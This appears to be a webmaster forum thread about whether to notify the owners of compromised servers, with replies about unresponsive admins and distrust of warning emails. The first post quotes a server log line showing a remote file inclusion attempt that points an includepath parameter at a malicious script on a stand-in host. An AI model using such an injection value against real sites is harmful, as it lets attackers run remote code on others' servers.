Informing other webmasters of security holes.

Is it worth the effort?

[jecasc]

I have a script running on my webserver that logs possible hacking attempts on my website. Every day it shows several automated code injection attempts.

Usually it is something like this:

123.45.678.9 - - [17/Feb/2009:02:08:21 +0100] "GET /index.php/?includepath=http://www.example.com/malicious_script.txt HTTP/1.1" 404 2608 "-" "libwww-perl/5.805"

This means there are two compromised webservers involved. One doing the request and one hosting the malicious script.

I usually don't bother with webservers in Russia or Nigeria or China but recently I have begun to inform webmasters in other countries of the compromised servers. However the feedback I receive is quite disillusioning.

Either the webmaster

- has no clue of what I am talking about.
- claims that his website is secure and I must be mistaken.
- tells me the website belongs to a client and he is not responsible.
- tells me they have fixed the security hole, but when I check my logfiles the next days I find the same entries again.
- doesn't respond or react to my email at all.

What do you do in such cases? Do you even notify other webmasters about security issues on their webservers? Or simply block the IP and forget about it?

I have also found that sending emails to the email address indicated for security issues when I look up the IPs or domain names seldom triggers a response. This is usually something like [e-mail]. It seems that many webmasters don't even have set up this email address or it leads to an email account that is checked perhaps every two years.

[MatthewHSE]

If I got a message like that, I would definitely check it out thoroughly and would appreciate the notice.

[caribguy]

sending emails to the email address indicated [..] seldom triggers a response

That seems to be par for the course when emailing [e-mail] too... I don't normally bother unless it's something out of the ordinary.

[choster]

It's not surprising that most of those site administrators who aren't attentive/competent enough to detect the intrusion are also the sort to ignore your good faith warnings. Having had a site of my own compromised once, however— the hosting company's entire password file was stolen, and they'd been storing it as cleartext (!)— a responsible admin will always appreciate a heads-up.

[piatkow]

also the sort to ignore your good faith warnings.

On the other hand a lot of us have seen so many fake "warnings" emailed over the years that the instinct would be to zap such a message, espcially if there were multiple addresses.

A 1-2-1 from somebody I know and trust would be another matter.

[jecasc]

On the other hand a lot of us have seen so many fake "warnings" emailed over the years that the instinct would be to zap such a message, espcially if there were multiple addresses.

That may of course be part of the problem - at least with those who don't react at all. If I'd receive an email with a subject like "Your webserver has been compromised" or "Security problem on your webserver" I'd probably dump it into the junk folder without looking at the message.